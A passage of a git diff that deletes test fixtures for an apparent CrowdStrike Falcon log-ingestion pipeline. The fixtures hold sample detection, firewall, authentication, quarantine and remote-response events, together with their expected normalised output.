-            "cd \\Program Files (x86)\\Symantec",
-            "ls .",
-            "cd \\Program Files (x86)",
-            "ls .",
-            "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default",
-            "reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```",
-            "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default",
-            "restart",
-            "restart -Confirm"
-        ]
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 57047,
-        "eventType": "DetectionSummaryEvent",
-        "eventCreationTime": 1595002291000,
-        "version": "1.0"
-    },
-    "event": {
-        "ProcessStartTime": 1595002290,
-        "ProcessEndTime": 1595002290,
-        "ProcessId": 663790158277,
-        "ParentProcessId": 627311656469,
-        "ComputerName": "TESTDEVICE01",
-        "UserName": "First.last",
-        "DetectName": "NGAV",
-        "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
-        "Severity": 2,
-        "SeverityName": "Low",
-        "FileName": "filename.exe",
-        "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path",
-        "CommandLine": "\"C:\\ProgramData\\file\\path\\filename.exe\" ",
-        "SHA256String": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
-        "MD5String": "0ab1235adca04aef6239f5496ef0a5df",
-        "SHA1String": "0000000000000000000000000000000000000000",
-        "MachineDomain": "NA",
-        "ExecutablesWritten": [
-            {
-                "Timestamp": 1595002290,
-                "FileName": "NEURO_200_J1939Configuration.mexw64",
-                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
-            },
-            {
-                "Timestamp": 1595002290,
-                "FileName": "NEURO_200_J1939Configuration.mexw64",
-                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
-            },
-            {
-                "Timestamp": 1595002290,
-                "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
-                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
-            },
-            {
-                "Timestamp": 1595002290,
-                "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
-                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
-            }
-        ],
-        "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p",
-        "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0",
-        "IOCType": "hash_sha256",
-        "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
-        "DetectId": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719",
-        "LocalIP": "10.1.190.117",
-        "MACAddress": "54-ad-d4-d2-a8-0b",
-        "Tactic": "Machine Learning",
-        "Technique": "Sensor-based ML",
-        "Objective": "Falcon Detection Method",
-        "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.",
-        "PatternDispositionValue": 2304,
-        "PatternDispositionFlags": {
-            "Indicator": false,
-            "Detect": false,
-            "InddetMask": false,
-            "SensorOnly": false,
-            "Rooting": false,
-            "KillProcess": false,
-            "KillSubProcess": false,
-            "QuarantineMachine": false,
-            "QuarantineFile": false,
-            "PolicyDisabled": true,
-            "KillParent": false,
-            "OperationBlocked": false,
-            "ProcessBlocked": true,
-            "RegistryOperationBlocked": false,
-            "CriticalProcessDisabled": false,
-            "BootupSafeguardEnabled": false,
-            "FsOperationBlocked": false
-        },
-        "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe",
-        "ParentCommandLine": "C:\\Windows\\Explorer.EXE",
-        "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe",
-        "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe"
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-        "offset": 57047,
-        "eventType": "DetectionSummaryEvent",
-        "eventCreationTime": 1595002291000,
-        "version": "1.0"
-    },
-    "event": {
-        "ProcessStartTime": 1595002290,
-        "ProcessEndTime": 1595002290,
-        "ProcessId": 663790158277,
-        "ParentProcessId": 627311656469,
-        "ComputerName": "TESTDEVICE01",
-        "UserName": "First.last",
-        "DetectName": "NGAV",
-        "DetectDescription": "This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.",
-        "Severity": 2,
-        "SeverityName": "Low",
-        "FileName": "filename.exe",
-        "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path",
-        "CommandLine": "\"C:\\ProgramData\\file\\path\\filename.exe\" ",
-        "SHA256String": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
-        "MD5String": "0ab1235adca04aef6239f5496ef0a5df",
-        "SHA1String": "0000000000000000000000000000000000000000",
-        "MachineDomain": "NA",
-        "ExecutablesWritten": [
-            {
-                "Timestamp": 1595002290,
-                "FileName": "NEURO_200_J1939Configuration.mexw64",
-                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
-            },
-            {
-                "Timestamp": 1595002290,
-                "FileName": "NEURO_200_J1939Configuration.mexw64",
-                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
-            },
-            {
-                "Timestamp": 1595002290,
-                "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
-                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
-            },
-            {
-                "Timestamp": 1595002290,
-                "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
-                "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder"
-            }
-        ],
-        "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/1abcd2345b8c4151a0cb45dcfbe6d3d0/124559902719?_cid=12345a1bc2d34fghi56jk7890lmno12p",
-        "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0",
-        "IOCType": "hash_sha256",
-        "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
-        "DetectId": "ldt:1abcd2345b8c4151a0cb45dcfbe6d3d0:124559902719",
-        "LocalIP": "10.1.190.117",
-        "MACAddress": "54-ad-d4-d2-a8-0b",
-        "Tactic": "Machine Learning",
-        "Technique": "Sensor-based ML",
-        "Objective": "Falcon Detection Method",
-        "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.",
-        "PatternDispositionValue": 2304,
-        "PatternDispositionFlags": {
-            "Indicator": false,
-            "Detect": false,
-            "InddetMask": false,
-            "SensorOnly": false,
-            "Rooting": false,
-            "KillProcess": false,
-            "KillSubProcess": false,
-            "QuarantineMachine": false,
-            "QuarantineFile": false,
-            "PolicyDisabled": true,
-            "KillParent": false,
-            "OperationBlocked": false,
-            "ProcessBlocked": true,
-            "RegistryOperationBlocked": false,
-            "CriticalProcessDisabled": false,
-            "BootupSafeguardEnabled": false,
-            "FsOperationBlocked": false
-        },
-        "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe",
-        "ParentCommandLine": "C:\\Windows\\Explorer.EXE",
-        "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe",
-        "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe",
-        "MitreAttack": [
-            {
-                "Tactic": "Machine Learning",
-                "Technique": "Sensor-based ML"
-            }
-        ]
-    }
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json
deleted file mode 100644
index c0682110a8..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-sample.log-expected.json
+++ /dev/null
@@ -1,743 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2020-07-20T12:41:46.000Z",
-            "crowdstrike": {
-                "event": {
-                    "CustomerId": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "DeviceId": "718af202ab2c4ba5b6a5d10d39c0e0a5",
-                    "Flags": {
-                        "Audit": false,
-                        "Log": false,
-                        "Monitor": true
-                    },
-                    "MatchCount": 1,
-                    "MatchCountSinceLastReport": 1,
-                    "NetworkProfile": "2",
-                    "PolicyID": "74e7f1552a3a4d90a6d65578642c8584",
-                    "PolicyName": "PROD-FW-Workstations-General",
-                    "Protocol": "6",
-                    "RuleAction": "2",
-                    "Timestamp": "2020-07-20T12:41:44Z"
-                },
-                "metadata": {
-                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "eventType": "FirewallMatchEvent",
-                    "offset": 70689,
-                    "version": "1.0"
-                }
-            },
-            "destination": {
-                "ip": "10.37.60.194",
-                "port": 445
-            },
-            "device": {
-                "id": "718af202ab2c4ba5b6a5d10d39c0e0a5"
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "firewall_match_event"
-                ],
-                "category": [
-                    "network"
-                ],
-                "code": "FirewallRuleIP4Matched",
-                "created": "2020-07-20T12:41:46.000Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 70689,\n        \"eventType\": \"FirewallMatchEvent\",\n        \"eventCreationTime\": 1595248906000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"DeviceId\": \"718af202ab2c4ba5b6a5d10d39c0e0a5\",\n        \"CustomerId\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"Ipv\": \"ipv4\",\n        \"CommandLine\": \"\",\n        \"ConnectionDirection\": \"1\",\n        \"EventType\": \"FirewallRuleIP4Matched\",\n        \"Flags\": {\n            \"Audit\": false,\n            \"Log\": false,\n            \"Monitor\": true\n        },\n        \"HostName\": \"TESTDEVICE01\",\n        \"ICMPCode\": \"\",\n        \"ICMPType\": \"\",\n        \"ImageFileName\": \"\",\n        \"LocalAddress\": \"10.37.60.194\",\n        \"LocalPort\": \"445\",\n        \"MatchCount\": 1,\n        \"MatchCountSinceLastReport\": 1,\n        \"NetworkProfile\": \"2\",\n        \"PID\": \"206158879910\",\n        \"PolicyName\": \"PROD-FW-Workstations-General\",\n        \"PolicyID\": \"74e7f1552a3a4d90a6d65578642c8584\",\n        \"Protocol\": \"6\",\n        \"RemoteAddress\": \"10.37.60.21\",\n        \"RemotePort\": \"54952\",\n        \"RuleAction\": \"2\",\n        \"RuleDescription\": \"\",\n        \"RuleFamilyID\": \"fec73e96a1bf4481be582c3f89b234fa\",\n        \"RuleGroupName\": \"SMB Rules\",\n        \"RuleName\": \"Inbound SMB Block \\u0026 Log Private\",\n        \"RuleId\": \"4877172638743447345\",\n        \"Status\": \"\",\n        \"Timestamp\": \"2020-07-20T12:41:44Z\",\n        \"TreeID\": \"\"\n    }\n}",
-                "type": [
-                    "start",
-                    "connection",
-                    "denied"
-                ]
-            },
-            "host": {
-                "name": "TESTDEVICE01"
-            },
-            "message": "Firewall Rule: 'Inbound SMB Block & Log Private' triggered - Action: 'Blocked'",
-            "network": {
-                "direction": "ingress",
-                "type": "ipv4"
-            },
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "entity_id": "206158879910",
-                "pid": 206158879910
-            },
-            "related": {
-                "hosts": [
-                    "TESTDEVICE01"
-                ],
-                "ip": [
-                    "10.37.60.21",
-                    "10.37.60.194"
-                ]
-            },
-            "rule": {
-                "category": "fec73e96a1bf4481be582c3f89b234fa",
-                "id": "4877172638743447345",
-                "name": "Inbound SMB Block & Log Private",
-                "ruleset": "SMB Rules"
-            },
-            "source": {
-                "ip": "10.37.60.21",
-                "port": 54952
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-07-17T17:02:08.414Z",
-            "crowdstrike": {
-                "event": {
-                    "FineScore": 0.1,
-                    "State": "open"
-                },
-                "metadata": {
-                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "eventType": "IncidentSummaryEvent",
-                    "offset": 57181,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "incident"
-                ],
-                "category": [
-                    "malware"
-                ],
-                "created": "2020-07-17T17:02:08.414Z",
-                "end": "2020-07-17T17:01:56.000Z",
-                "kind": "alert",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 57181,\n        \"eventType\": \"IncidentSummaryEvent\",\n        \"eventCreationTime\": 1595005328414,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"IncidentStartTime\": 1595005316,\n        \"IncidentEndTime\": 1595005316,\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54\",\n        \"State\": \"open\",\n        \"FineScore\": 0.1,\n        \"LateralMovement\": 0\n    }\n}",
-                "reference": "https://falcon.crowdstrike.com/crowdscore/incidents/details/inc:1234567893cd4e55b3a832ba2140478e:72e291e40c1544d390eabf135d875e54",
-                "start": "2020-07-17T17:01:56.000Z",
-                "type": [
-                    "info"
-                ]
-            },
-            "message": "Incident score 0.1",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-07-20T12:26:10.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AuditKeyValues": [
-                        {
-                            "Key": "trace_id",
-                            "ValueString": "b0b33836-555c-4e0e-a5ef-d368f6799f6b"
-                        },
-                        {
-                            "Key": "actor_user",
-                            "ValueString": "first.last@company.com"
-                        },
-                        {
-                            "Key": "actor_user_uuid",
-                            "ValueString": "123ab123-abc1-12a1-12a1-12a1ab12a1a1"
-                        },
-                        {
-                            "Key": "actor_cid",
-                            "ValueString": "123456a1ab1a12abc12ab1234abcd12a"
-                        },
-                        {
-                            "Key": "target_user",
-                            "ValueString": "first.last@company.com"
-                        }
-                    ],
-                    "OperationName": "saml2Assert",
-                    "Success": true
-                },
-                "metadata": {
-                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "eventType": "AuthActivityAuditEvent",
-                    "offset": 70509,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "saml2Assert"
-                ],
-                "category": [
-                    "iam"
-                ],
-                "created": "2020-07-20T12:26:10.093Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 70509,\n        \"eventType\": \"AuthActivityAuditEvent\",\n        \"eventCreationTime\": 1595247970093,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"first.last@company.com\",\n        \"UserIp\": \"67.43.156.15\",\n        \"OperationName\": \"saml2Assert\",\n        \"ServiceName\": \"Crowdstrike Authentication\",\n        \"Success\": true,\n        \"UTCTimestamp\": 1595247970,\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"trace_id\",\n                \"ValueString\": \"b0b33836-555c-4e0e-a5ef-d368f6799f6b\"\n            },\n            {\n                \"Key\": \"actor_user\",\n                \"ValueString\": \"first.last@company.com\"\n            },\n            {\n                \"Key\": \"actor_user_uuid\",\n                \"ValueString\": \"123ab123-abc1-12a1-12a1-12a1ab12a1a1\"\n            },\n            {\n                \"Key\": \"actor_cid\",\n                \"ValueString\": \"123456a1ab1a12abc12ab1234abcd12a\"\n            },\n            {\n                \"Key\": \"target_user\",\n                \"ValueString\": \"first.last@company.com\"\n            }\n        ]\n    }\n}",
-                "outcome": "success"
-            },
-            "message": "Crowdstrike Authentication",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "ip": [
-                    "67.43.156.15"
-                ],
-                "user": [
-                    "first.last",
-                    "first.last@company.com"
-                ]
-            },
-            "source": {
-                "as": {
-                    "number": 35908
-                },
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": "67.43.156.15"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "first.last@company.com",
-                "name": "first.last"
-            }
-        },
-        {
-            "@timestamp": "2020-07-20T12:41:25.000Z",
-            "crowdstrike": {
-                "event": {
-                    "AuditKeyValues": [
-                        {
-                            "Key": "quarantined_file_id",
-                            "ValueString": "ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21"
-                        },
-                        {
-                            "Key": "action_taken",
-                            "ValueString": "quarantined"
-                        }
-                    ],
-                    "ServiceName": "quarantined_files"
-                },
-                "metadata": {
-                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "eventType": "UserActivityAuditEvent",
-                    "offset": 70683,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "user_activity_audit_event",
-                "category": [
-                    "iam"
-                ],
-                "created": "2020-07-20T12:41:25.000Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 70683,\n        \"eventType\": \"UserActivityAuditEvent\",\n        \"eventCreationTime\": 1595248885000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"UserId\": \"Crowdstrike\",\n        \"UserIp\": \"\",\n        \"OperationName\": \"quarantined_file_update\",\n        \"ServiceName\": \"quarantined_files\",\n        \"AuditKeyValues\": [\n            {\n                \"Key\": \"quarantined_file_id\",\n                \"ValueString\": \"ab1cde05567b455b93afbe2d3df352c9_328024a065630f897f09963d4b67b0c95d4054f540c2ca8014d5b012718bfa21\"\n            },\n            {\n                \"Key\": \"action_taken\",\n                \"ValueString\": \"quarantined\"\n            }\n        ],\n        \"UTCTimestamp\": 1595248885\n    }\n}",
-                "type": [
-                    "change"
-                ]
-            },
-            "message": "quarantined_file_update",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "user": [
-                    "Crowdstrike"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "Crowdstrike"
-            }
-        },
-        {
-            "@timestamp": "2020-07-17T17:14:53.000Z",
-            "crowdstrike": {
-                "event": {
-                    "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e"
-                },
-                "metadata": {
-                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "eventType": "RemoteResponseSessionStartEvent",
-                    "offset": 57217,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "remote_response_session_start_event"
-                ],
-                "category": [
-                    "network",
-                    "session"
-                ],
-                "created": "2020-07-17T17:14:53.000Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 57217,\n        \"eventType\": \"RemoteResponseSessionStartEvent\",\n        \"eventCreationTime\": 1595006093000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"SessionId\": \"330633db-1cda-4355-b0d8-2c2edc91fe3e\",\n        \"HostnameField\": \"TESTDEVICE01\",\n        \"UserName\": \"first.last@company.com\",\n        \"StartTimestamp\": 1595006093\n    }\n}",
-                "start": "2020-07-17T17:14:53.000Z",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "name": "TESTDEVICE01"
-            },
-            "message": "Remote response session started.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "TESTDEVICE01"
-                ],
-                "user": [
-                    "first.last",
-                    "first.last@company.com"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "first.last@company.com",
-                "name": "first.last"
-            }
-        },
-        {
-            "@timestamp": "2020-07-17T17:28:19.000Z",
-            "crowdstrike": {
-                "event": {
-                    "Commands": [
-                        "cd \\Program Files (x86)\\Symantec",
-                        "ls .",
-                        "cd \\Program Files (x86)",
-                        "ls .",
-                        "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default",
-                        "reg set HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```",
-                        "reg query HKEY_LOCAL_MACHINE\\SYSTEM\\CrowdStrike\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\{16e0423f-7058-48c9-a204-725362b67639}\\Default",
-                        "restart",
-                        "restart -Confirm"
-                    ],
-                    "SessionId": "330633db-1cda-4355-b0d8-2c2edc91fe3e"
-                },
-                "metadata": {
-                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "eventType": "RemoteResponseSessionEndEvent",
-                    "offset": 57269,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": [
-                    "remote_response_session_end_event"
-                ],
-                "category": [
-                    "network",
-                    "session"
-                ],
-                "created": "2020-07-17T17:28:19.000Z",
-                "end": "2020-07-17T17:28:19.000Z",
-                "kind": "event",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 57269,\n        \"eventType\": \"RemoteResponseSessionEndEvent\",\n        \"eventCreationTime\": 1595006899000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"SessionId\": \"330633db-1cda-4355-b0d8-2c2edc91fe3e\",\n        \"HostnameField\": \"TESTDEVICE01\",\n        \"UserName\": \"first.last@company.com\",\n        \"EndTimestamp\": 1595006899,\n        \"Commands\": [\n            \"cd \\\\Program Files (x86)\\\\Symantec\",\n            \"ls .\",\n            \"cd \\\\Program Files (x86)\",\n            \"ls .\",\n            \"reg query HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CrowdStrike\\\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\\\{16e0423f-7058-48c9-a204-725362b67639}\\\\Default\",\n            \"reg set HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CrowdStrike\\\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\\\{16e0423f-7058-48c9-a204-725362b67639}\\\\Default GroupingTags -ValueType=```REG_SZ``` -Value=```Protect```\",\n            \"reg query HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CrowdStrike\\\\{9b03c1d9-3138-44ed-9fae-d9f4c034b88d}\\\\{16e0423f-7058-48c9-a204-725362b67639}\\\\Default\",\n            \"restart\",\n            \"restart -Confirm\"\n        ]\n    }\n}",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "name": "TESTDEVICE01"
-            },
-            "message": "Remote response session ended.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "related": {
-                "hosts": [
-                    "TESTDEVICE01"
-                ],
-                "user": [
-                    "first.last",
-                    "first.last@company.com"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "company.com",
-                "email": "first.last@company.com",
-                "name": "first.last"
-            }
-        },
-        {
-            "@timestamp": "2020-07-17T16:11:31.000Z",
-            "crowdstrike": {
-                "event": {
-                    "ExecutablesWritten": [
-                        {
-                            "FileName": "NEURO_200_J1939Configuration.mexw64",
-                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
-                            "Timestamp": 1595002290
-                        },
-                        {
-                            "FileName": "NEURO_200_J1939Configuration.mexw64",
-                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
-                            "Timestamp": 1595002290
-                        },
-                        {
-                            "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
-                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
-                            "Timestamp": 1595002290
-                        },
-                        {
-                            "FileName": "NEURO_200_J1939CanPackMessage.mexw64",
-                            "FilePath": "\\Device\\HarddiskVolume2\\ProgramData\\file\\path\\is\\right\\here\\folder",
-                            "Timestamp": 1595002290
-                        }
-                    ],
-                    "GrandparentCommandLine": "C:\\Windows\\system32\\userinit.exe",
-                    "GrandparentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\userinit.exe",
-                    "IOCType": "hash_sha256",
-                    "IOCValue": "0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb",
-                    "MACAddress": "54-ad-d4-d2-a8-0b",
-                    "Objective": "Falcon Detection Method",
-                    "ParentImageFileName": "\\Device\\HarddiskVolume2\\Windows\\explorer.exe",
-                    "PatternDispositionFlags": {
-                        "BootupSafeguardEnabled": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": true,
-                        "ProcessBlocked": true,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false
-                    },
-                    "PatternDispositionValue": 2304,
-                    "SensorId": "1abcd2345b8c4151a0cb45dcfbe6d3d0",
-                    "Severity": 2,
-                    "SeverityName": "Low"
-                },
-                "metadata": {
-                    "customerIDString": "12345a1bc2d34fghi56jk7890lmno12p",
-                    "eventType": "DetectionSummaryEvent",
-                    "offset": 57047,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, process would have been blocked if related prevention policy setting was enabled.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2020-07-17T16:11:31.000Z",
-                "kind": "alert",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"12345a1bc2d34fghi56jk7890lmno12p\",\n        \"offset\": 57047,\n        \"eventType\": \"DetectionSummaryEvent\",\n        \"eventCreationTime\": 1595002291000,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"ProcessStartTime\": 1595002290,\n        \"ProcessEndTime\": 1595002290,\n        \"ProcessId\": 663790158277,\n        \"ParentProcessId\": 627311656469,\n        \"ComputerName\": \"TESTDEVICE01\",\n        \"UserName\": \"First.last\",\n        \"DetectName\": \"NGAV\",\n        \"DetectDescription\": \"This file meets the machine learning-based on-sensor AV protection's low confidence threshold for malicious files.\",\n        \"Severity\": 2,\n        \"SeverityName\": \"Low\",\n        \"FileName\": \"filename.exe\",\n        \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\",\n        \"CommandLine\": \"\\\"C:\\\\ProgramData\\\\file\\\\path\\\\filename.exe\\\" \",\n        \"SHA256String\": \"0a123b185f9a32fde1df59897089014c92e3d08a0533b54baa72ba2a93d64deb\",\n        \"MD5String\": \"0ab1235adca04aef6239f5496ef0a5df\",\n        \"SHA1String\": \"0000000000000000000000000000000000000000\",\n        \"MachineDomain\": \"NA\",\n        \"ExecutablesWritten\": [\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            },\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939Configuration.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            },\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            },\n            {\n                \"Timestamp\": 1595002290,\n                \"FileName\": \"NEURO_200_J1939CanPackMessage.mexw64\",\n                \"FilePath\": \"\\\\Device\\\\HarddiskVolume2\\\\ProgramData\\\\file\\\\path\\\\is\\\\right\\\\here\\\\folder\"\n            }\n        ],\n        \"FalconHostLink\": 